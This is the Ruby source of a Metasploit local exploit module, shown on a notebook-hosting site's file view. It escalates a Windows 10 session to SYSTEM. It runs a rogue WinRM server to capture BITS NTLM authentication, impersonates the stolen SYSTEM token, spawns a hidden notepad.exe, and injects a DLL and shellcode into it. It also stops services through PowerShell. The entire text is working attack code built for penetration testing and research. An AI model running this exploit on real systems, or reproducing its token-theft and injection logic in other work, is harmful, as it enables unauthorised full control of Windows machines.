Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'msf/core/post/windows/reflective_dll_injection'67class MetasploitModule < Msf::Exploit::Local8Rank = GreatRanking910prepend Msf::Exploit::Remote::AutoCheck11include Msf::Post::File12include Msf::Post::Windows::Priv13include Msf::Post::Windows::Process14include Msf::Post::Windows::ReflectiveDLLInjection1516# Those are integer codes for representing the services involved in this exploit.17BITS = 118WINRM = 21920def initialize(info = {})21super(22update_info(23info,24{25'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',26'Description' => %q{27This module exploit BITS behavior which tries to connect to the28local Windows Remote Management server (WinRM) every times it29starts. The module launches a fake WinRM server which listen on30port 5985 and triggers BITS. When BITS starts, it tries to31authenticate to the Rogue WinRM server, which allows to steal a32SYSTEM token. This token is then used to launch a new process33as SYSTEM user. In the case of this exploit, notepad.exe is launched34as SYSTEM. Then, it write shellcode in its previous memory space35and trigger its execution. As this exploit uses reflective dll36injection, it does not write any file on the disk. See37/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md38for complementary words of information.3940Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.41Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.4243WARNING:4445- As this exploit runs a service on the target (Fake WinRM on port465985), a firewall popup may appear on target screen. Thus, this exploit47may not be completely silent.4849- This exploit has been successfully tested on :50Windows 10 (10.0 Build 19041) 32 bits51Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits5253- This exploit failed because of no BITS authentication attempt on:54Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits5556- Windows servers are not vulnerable because a genuine WinRM57service is already running, except if the user has disabled it58(Or if this exploit succeed to terminate it).5960- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are61required.6263- BITS must not be running.6465- This exploit automatically perform above quoted checks.66run "check" command to run checklist.67},68'License' => MSF_LICENSE,69'Author' => [70'Cassandre', # Adapted decoder's POC for metasploit71'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC72'Antonio Cocomazzi (splinter_code)',73'Roberto (0xea31)',74],75'Arch' => [ARCH_X86, ARCH_X64],76'Platform' => 'win',77'SessionTypes' => ['meterpreter'],78'DefaultOptions' => {79'EXITFUNC' => 'none',80'WfsDelay' => '120'81},82'Targets' => [83['Automatic', {}]84],85'Notes' => {86'Stability' => [CRASH_SAFE],87'SideEffects' => [SCREEN_EFFECTS],88'Reliability' => [REPEATABLE_SESSION]89},90'Payload' => {91'DisableNops' => true,92'BadChars' => "\x00"93},94'References' => [95['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],96['URL', 'https://github.com/antonioCoco/RogueWinRM'],97],98'DisclosureDate' => '2019-12-06',99'DefaultTarget' => 0,100'Compat' => {101'Meterpreter' => {102'Commands' => %w[103stdapi_sys_config_getenv104stdapi_sys_config_getprivs105stdapi_sys_config_sysinfo106stdapi_sys_process_attach107stdapi_sys_process_execute108stdapi_sys_process_thread_create109]110}111}112}113)114)115116shutdown_service_option_description = [117'Should this module attempt to shutdown BITS and WinRM services if they are running?',118'Setting this parameter to true is useful only if SESSION is part of administrator group.',119'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'120].join(' ')121122winrm_port_option_description = [123'Port the exploit will listen on for BITS connexion.',124'As the principle of the exploit is to impersonate a genuine WinRM service,',125'it should listen on WinRM port. This is in most case 5985 but in some configuration,',126'it may be 47001.'127].join(' ')128129host_process_option_description = [130'The process which will be launched as SYSTEM and execute metasploit shellcode.',131'This process is launched without graphical interface so it is hidden.'132].join(' ')133134register_options(135[136OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),137OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),138OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])139]140)141end142143#144# Function used to perform all mandatory checks in order to assess145# if the target is vulnerable before running the exploit.146# Basically, this function does the following:147# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege148# - Checks if operating system is neither Windows 7 nor Windows XP149# - Checks if BITS and WinRM are running, and attempt to terminate them if the user150# has specified the corresponding option151# - Checks if the session is not already SYSTEM152def check153privs = client.sys.config.getprivs154version = get_version_info155# Fast fails156if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?157print_bad("Operating system: #{version.product_name}")158print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')159return Exploit::CheckCode::Safe160end161162unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')163print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')164return Exploit::CheckCode::Safe165end166vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')167168running_services_code = check_bits_and_winrm169if running_services_code < 0170return Exploit::CheckCode::Safe171end172173should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']174if running_services_code > 0175if should_services_be_shutdown176shutdown_service(running_services_code)177sleep(2)178running_services_code = check_bits_and_winrm179end180if [WINRM, WINRM + BITS].include?(running_services_code)181print_bad('WinRM is running. Target is not exploitable.')182return Exploit::CheckCode::Safe183elsif running_services_code == BITS184if should_services_be_shutdown185print_warning('Failed to shutdown BITS.')186end187print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')188end189end190191if is_system?192print_bad('Session is already elevated.')193return Exploit::CheckCode::Safe194end195196vprint_good('Session is not (yet) System.')197Exploit::CheckCode::Appears198end199200#201# This function is dedicated in checking if bits and WinRM are running.202# It returns the running services. If both services are down, it returns 0.203# If BITS is running, it returns 1 (Because BITS class constant = 1). If204# WinRM is running, it returns 2. And if both are running, it returns205# BITS + WINRM = 3.206def check_bits_and_winrm207result = cmd_exec('cmd.exe', '/c echo . | powershell.exe Get-Service -Name BITS,WinRM')208vprint_status('Checking if BITS and WinRM are stopped...')209210if result.include?('~~')211print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')212return -1213end214215if result.include?('Stopped BITS') && result.include?('Stopped WinRM')216print_good('BITS and WinRM are stopped.')217return 0218end219220if result.include?('Running BITS') && result.include?('Stopped WinRM')221print_warning('BITS is currently running. It must be down for the exploit to succeed.')222return BITS223end224225if result.include?('Stopped BITS') && result.include?('Running WinRM')226print_warning('WinRM is currently running. It must be down for the exploit to succeed.')227return WINRM228end229230if result.include?('Running BITS') && result.include?('Running WinRM')231print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')232return BITS + WINRM233end234end235236#237# Attempt to shutdown services through powershell.238def shutdown_service(service_code)239stop_command_map = {240BITS => 'powershell.exe Stop-Service -Name BITS',241WINRM => 'powershell.exe Stop-Service -Name WinRM',242BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'243}244print_status('Attempting to shutdown service(s)...')245cmd_exec(stop_command_map[service_code])246end247248def exploit249payload_name = datastore['PAYLOAD']250payload_arch = framework.payloads.create(payload_name).arch251winrm_port = datastore['WINRM_RPORT']252host_process_name = datastore['HOST_PROCESS']253254if payload_arch.first == ARCH_X64255dll_file_name = 'drunkpotato.x64.dll'256vprint_status('Assigning payload drunkpotato.x64.dll')257elsif payload_arch.first == ARCH_X86258dll_file_name = 'drunkpotato.x86.dll'259vprint_status('Assigning payload drunkpotato.x86.dll')260else261fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')262end263library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)264library_path = ::File.expand_path(library_path)265266print_status('Launching notepad to host the exploit...')267notepad_path = get_notepad_pathname(268payload_arch.first,269client.sys.config.getenv('windir'),270client.arch271)272notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })273begin274process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)275print_good("Process #{process.pid} launched.")276rescue Rex::Post::Meterpreter::RequestError277# Reader Sandbox won't allow to create a new process:278# stdapi_sys_process_execute: Operation failed: Access is denied.279print_error('Operation failed. Trying to elevate the current process...')280process = client.sys.process.open281end282283print_status("Injecting exploit into #{process.pid}...")284exploit_mem, offset = inject_dll_into_process(process, library_path)285286print_status("Exploit injected. Injecting payload into #{process.pid}...")287formatted_payload = [288winrm_port.to_s,289host_process_name,290payload.encoded.length.to_s,291payload.encoded292].join("\x00")293payload_mem = inject_into_process(process, formatted_payload)294295# invoke the exploit, passing in the address of the payload that296# we want invoked on successful exploitation.297print_status('Payload injected. Executing exploit...')298process.thread.create(exploit_mem + offset, payload_mem)299300print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')301end302303end304305306